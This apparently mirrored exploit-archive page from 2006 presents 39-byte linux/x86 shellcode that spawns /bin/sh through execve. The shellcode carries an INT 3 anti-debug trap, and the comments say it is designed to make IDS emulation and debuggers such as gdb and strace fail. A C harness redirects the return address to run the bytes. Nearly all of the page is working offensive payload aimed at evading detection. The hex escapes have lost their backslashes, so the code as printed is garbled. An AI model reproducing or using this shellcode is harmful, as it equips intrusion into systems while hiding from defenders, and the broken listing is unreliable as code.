[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 anti-debug trick (INT 3h trap) + execve /bin/sh 39 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : linux/x86 Adduser without Password to /etc/passwd 59 bytes
# Next Title : linux/x86 Bind /bin/sh to 31337/tcp 80 bytes


/*
 * (linux/x86) anti-debug trick (INT 3h trap) + execve("/bin/sh", ["/bin/sh", NULL], NULL) - 39 bytes 
 * 
 * The idea behind a shellcode w/ an anti-debugging trick embedded in it, is if for any reason the IDS 
 * would try to x86-emulate the shellcode it would *glitch* and fail. This also protectes the shellcode 
 * from running within a debugger environment such as gdb and strace. 
 *
 * How this works? the shellcode registers for the SIGTRAP signal (aka. Breakpoint Interrupt) and use it 
 * to call the acutal payload (e.g. _evil_code) while a greedy debugger or a confused x86-emu won't pass 
 * the signal handler to the shellcode, it would end up doing _exit() instead execuve() 
 *
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"x6ax30"              // push $0x30 
	"x58"                  // pop %eax 
	"x6ax05"              // push $0x5 
	"x5b"                  // pop %ebx 
	"xebx05"              // jmp <_evil_code> 

	//
 	// <_evilcode_loc>:
	//

	"x59"                  // pop %ecx 
	"xcdx80"              // int $0x80 
	"xcc"                  // int3 
	"x40"                  // inc %eax 
	"xe8xf6xffxffxff"  // call <_evilcode_loc> 
	"x99"                  // cltd 

	// 
        // <_evil_code>: 
        //

	"xb0x0b"              // mov $0xb,%al 
	"x52"                  // push %edx 
	"x68x2fx2fx73x68"  // push $0x68732f2f 
	"x68x2fx62x69x6e"  // push $0x6e69622f 
	"x89xe3"              // mov %esp,%ebx 
	"x52"                  // push %edx 
	"x53"                  // push %ebx 
	"x54"                  // push %esp 
	"xebxe1";             // jmp <_evilcode_loc> 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-21]